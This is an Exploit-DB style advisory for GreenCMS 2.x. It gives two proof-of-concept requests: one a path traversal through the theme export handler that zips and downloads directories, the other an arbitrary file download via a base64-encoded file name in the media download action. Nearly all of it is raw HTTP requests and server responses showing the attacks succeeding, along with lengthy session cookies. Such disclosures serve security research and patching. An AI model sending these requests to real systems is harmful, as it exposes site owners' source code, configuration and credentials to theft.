GreenCMS 2.x – Arbitrary File Download
# Exploit Title: Green CMS 2.x - Arbitrary File & Directory Download # Dork: N/A # Date: 2019-01-25 # Exploit Author: Ihsan Sencan # Vendor Homepage: http://www.greencms.net/ # Software Link: https://codeload.github.com/GreenCMS/GreenCMS/zip/beta # Version: 2.x # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://localhost/[PATH]/index.php?m=admin&c=custom&a=themeexporthandle&theme_name=[Directory] # # /[PATH]/Data/exploitdb-313a669df7bd2494db4b81855ad9ffb4.zip GET /[PATH]/index.php?m=admin&c=custom&a=themeexporthandle&theme_name=../../../exploitdb HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=9kv875ue1nd30aem1r11v7j4e1; scd39=d417d5511c72c08320; token=0d74f7745ef2ae866371f379887de13b; roxyview=grid; roxyld=%2FExploitDb%2Fglfusion-1.7.6%2Fpublic_html%2Fimages; poll-20190124084438702=x; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1548345007; Hm_lpvt_7b43330a4da4a6f4353e553988ee8a62=1548345007; iCMS_iCMS_AUTH=23fead6b8NDfVdP8qVNpOPIPPUSpFJAso5x4PtfIdZ3nDi8o5wnWMSK3ChFfVeYSOHBG1oexoFRdZvpgU83b8Jf61eMlofgor_cA_M03jKYoXB3uVFTNACLmbQ; iCMS_USER_AUTH=219cbaebs-OpY5sJLvCCKTR3Dqt_oCHrxJW69eyU4H8ydfrP-oU2o_WTjmpI2rq_RlGfFU7z4khePqUAE_-e9BZoY7JqRmHEdQMwgIHvOFkLMuEm_MfWL5q_YjuZtjifggqF00S7XifyDwBoSSjLHF5_75serNlj4UzaM2Jx1UNECipmSjn0_LbHUxywdjrykOLebAf5KahIejKgbmJs25r1GkYT7kNAC4NCYzy8Bohr1Ty1LQpYq1D3Rid_82phOUD4q6sY3Ndaj8les5sAJvkEmXOwI8_y6lqBjZarygWlIh_O6b-nvRiE2cbaaMFsxJZZUlRvYU6RUWihB9yhFfg8UOZ9A41c_BdcyREjmQEGPPzBZnHBXZv4SbG-tj1gRr-L40L6EdGX-oKrbDC4oyt6vB0UzyzN9CZP5ZKWn8GzFGJAMWF7kFjPD_upiZiBd-rHyPyCZb0Tsr6920eRpm5ZPLiJ-cfKsR0Gm1s5vvsYO9BsTG1FogUhQwzjHbT4lIO3lUcpvxYSSc9wbE3R1izg2wME6ATQ6PEnszM; iCMS_userid=32dfb608S9QlPEJd2BZY81z70jgnBnJldGAo3OuRdbLJJbk_Qw; iCMS_nickname=32dfb608S9QlPEJd2BZY81b63296UnYxe2Yv3riRc-edc-xqFRw; ICMSSESSION=pahh0r0jsr9gre9e0vn1jmqp23; /PATH/modules/system/admin.php_SystemCustomtag_sortsel=name; /PATH/modules/system/admin.php_SystemCustomtag_ordersel=ASC; /PATH/modules/system/admin.php_limitsel=15; /PATH/modules/system/admin.php_SystemCustomtag_filtersel=default; /PATH/modules/system/admin.php_SystemPages_sortsel=page_title; /PATH/modules/system/admin.php_SystemPages_ordersel=ASC; /PATH/modules/system/admin.php_SystemPages_filtersel=default; /PATH/modules/content/admin/content.php_mod_content_Content_sortsel=content_title; /PATH/modules/content/admin/content.php_mod_content_Content_ordersel=ASC; /PATH/modules/content/admin/content.php_limitsel=15; /PATH/modules/content/admin/content.php_mod_content_Content_filtersel=default; Hm_lvt_48659a4ab85f1bcebb11d3dd3ecb6760=1548351649; Hm_lpvt_48659a4ab85f1bcebb11d3dd3ecb6760=1548355214; greencms_last_visit_page=aHR0cDovL2xvY2FsaG9zdC9leHBsb2l0ZGIvZ3JlZW5jbXMtYmV0YS9pbmRleC5waHA%2FbT1hZG1pbiZjPWluZGV4JmE9aW5kZXg%3D; greencms_post_add1=x%9Cm%901k%C30%10%85%FFJ%D0%ECPI%B5-%5B%84%2C%1D2e%EAX%85%60YgG%E0%D8%22%3A%0D%A1%F4%BF%F7%9C+%C8%90%ED%DE%BB%EF%C1%BB%FBea%89xF%8F%130%CDL%AA%AD%94%265C%0F%26%95%83%1ALR%95l%0E7%80%F9%EB%F8%CD%8A%27%DF%2F3%C2%8C%94%D8%85%FD%0A%D6%DC%A4%AAU%AE+%01%A2%5ESe%BF3%1Fa%9F%23%DE%11-%B2%8A%D8a%8A%E4%84d%27%1F%2F%D9%C7%7BX%7BD%3F%8FT%28%9Bp%0DS%87o%16K+%8Fg%E9%9E%8C%E4%A2%DDr%B1%95%E5Fr%FD%D9jYg%E2%BA8%3Fxp%AFT%B5%E1Rs%A1%C5J%F5%1DR%AB%1F%2Az%2A%18v%E3C%D0W%5Ci%E9%2B%D6U47%5C%D1%7DV%01%3B%FD%FD%03%84%F0b%FF DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Thu, 24 Jan 2019 22:45:40 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: greencms_last_visit_page=aHR0cDovL2xvY2FsaG9zdC9leHBsb2l0ZGIvZ3JlZW5jbXMtYmV0YS9pbmRleC5waHA%2FbT1hZG1pbiZjPWN1c3RvbSZhPXRoZW1lZXhwb3J0aGFuZGxlJnRoZW1lX25hbWU9Li4vLi4vLi4vZXhwbG9pdGRi; expires=Sat, 23-Feb-2019 18:45:40 GMT; Max-Age=2592000; path=/ Content-Disposition: attachment; filename="exploitdb-313a669df7bd2494db4b81855ad9ffb4.zip" Content-Length: 128497375 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream # POC: # 2) # http://localhost/[PATH]/index.php?m=admin&c=media&a=downfile&id=[BASE64_FILE] # GET /[PATH]/index.php?m=admin&c=media&a=downfile&id=aW5kZXgucGhw HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=9kv875ue1nd30aem1r11v7j4e1; scd39=d417d5511c72c08320; token=0d74f7745ef2ae866371f379887de13b; poll-20190124084438702=x; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1548345007; Hm_lpvt_7b43330a4da4a6f4353e553988ee8a62=1548345007; iCMS_iCMS_AUTH=23fead6b8NDfVdP8qVNpOPIPPUSpFJAso5x4PtfIdZ3nDi8o5wnWMSK3ChFfVeYSOHBG1oexoFRdZvpgU83b8Jf61eMlofgor_cA_M03jKYoXB3uVFTNACLmbQ; iCMS_USER_AUTH=219cbaebs-OpY5sJLvCCKTR3Dqt_oCHrxJW69eyU4H8ydfrP-oU2o_WTjmpI2rq_RlGfFU7z4khePqUAE_-e9BZoY7JqRmHEdQMwgIHvOFkLMuEm_MfWL5q_YjuZtjifggqF00S7XifyDwBoSSjLHF5_75serNlj4UzaM2Jx1UNECipmSjn0_LbHUxywdjrykOLebAf5KahIejKgbmJs25r1GkYT7kNAC4NCYzy8Bohr1Ty1LQpYq1D3Rid_82phOUD4q6sY3Ndaj8les5sAJvkEmXOwI8_y6lqBjZarygWlIh_O6b-nvRiE2cbaaMFsxJZZUlRvYU6RUWihB9yhFfg8UOZ9A41c_BdcyREjmQEGPPzBZnHBXZv4SbG-tj1gRr-L40L6EdGX-oKrbDC4oyt6vB0UzyzN9CZP5ZKWn8GzFGJAMWF7kFjPD_upiZiBd-rHyPyCZb0Tsr6920eRpm5ZPLiJ-cfKsR0Gm1s5vvsYO9BsTG1FogUhQwzjHbT4lIO3lUcpvxYSSc9wbE3R1izg2wME6ATQ6PEnszM; iCMS_userid=32dfb608S9QlPEJd2BZY81z70jgnBnJldGAo3OuRdbLJJbk_Qw; iCMS_nickname=32dfb608S9QlPEJd2BZY81b63296UnYxe2Yv3riRc-edc-xqFRw; ICMSSESSION=pahh0r0jsr9gre9e0vn1jmqp23; /TARGET/modules/system/admin.php_SystemCustomtag_sortsel=name; /TARGET/modules/system/admin.php_SystemCustomtag_ordersel=ASC; /TARGET/modules/system/admin.php_limitsel=15; /TARGET/modules/system/admin.php_SystemCustomtag_filtersel=default; /TARGET/modules/system/admin.php_SystemPages_sortsel=page_title; /TARGET/modules/system/admin.php_SystemPages_ordersel=ASC; /TARGET/modules/system/admin.php_SystemPages_filtersel=default; /TARGET/modules/content/admin/content.php_mod_content_Content_sortsel=content_title; /TARGET/modules/content/admin/content.php_mod_content_Content_ordersel=ASC; /TARGET/modules/content/admin/content.php_limitsel=15; /TARGET/modules/content/admin/content.php_mod_content_Content_filtersel=default; Hm_lvt_48659a4ab85f1bcebb11d3dd3ecb6760=1548351649; Hm_lpvt_48659a4ab85f1bcebb11d3dd3ecb6760=1548355214; greencms_last_visit_page=aHR0cDovL2xvY2FsaG9zdC9leHBsb2l0ZGIvZ3JlZW5jbXMtYmV0YS9pbmRleC5waHA%2FbT1hZG1pbiZjPW1lZGlhJmE9ZG93bmZpbGUmaWQ9YVc1a1pYZ3VjR2h3; greencms_post_add1=x%9Cm%901k%C30%10%85%FFJ%D0%ECPI%B5-%5B%84%2C%1D2e%EAX%85%60YgG%E0%D8%22%3A%0D%A1%F4%BF%F7%9C+%C8%90%ED%DE%BB%EF%C1%BB%FBea%89xF%8F%130%CDL%AA%AD%94%265C%0F%26%95%83%1ALR%95l%0E7%80%F9%EB%F8%CD%8A%27%DF%2F3%C2%8C%94%D8%85%FD%0A%D6%DC%A4%AAU%AE+%01%A2%5ESe%BF3%1Fa%9F%23%DE%11-%B2%8A%D8a%8A%E4%84d%27%1F%2F%D9%C7%7BX%7BD%3F%8FT%28%9Bp%0DS%87o%16K+%8Fg%E9%9E%8C%E4%A2%DDr%B1%95%E5Fr%FD%D9jYg%E2%BA8%3Fxp%AFT%B5%E1Rs%A1%C5J%F5%1DR%AB%1F%2Az%2A%18v%E3C%D0W%5Ci%E9%2B%D6U47%5C%D1%7DV%01%3B%FD%FD%03%84%F0b%FF DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Thu, 24 Jan 2019 20:36:45 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: greencms_last_visit_page=aHR0cDovL2xvY2FsaG9zdC9leHBsb2l0ZGIvZ3JlZW5jbXMtYmV0YS9pbmRleC5waHA%2FbT1hZG1pbiZjPW1lZGlhJmE9ZG93bmZpbGUmaWQ9YVc1a1pYZ3VjR2h3; expires=Sat, 23-Feb-2019 20:36:45 GMT; Max-Age=2592000; path=/ Content-Disposition: attachment; filename="index.php" Content-Length: 1031 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream |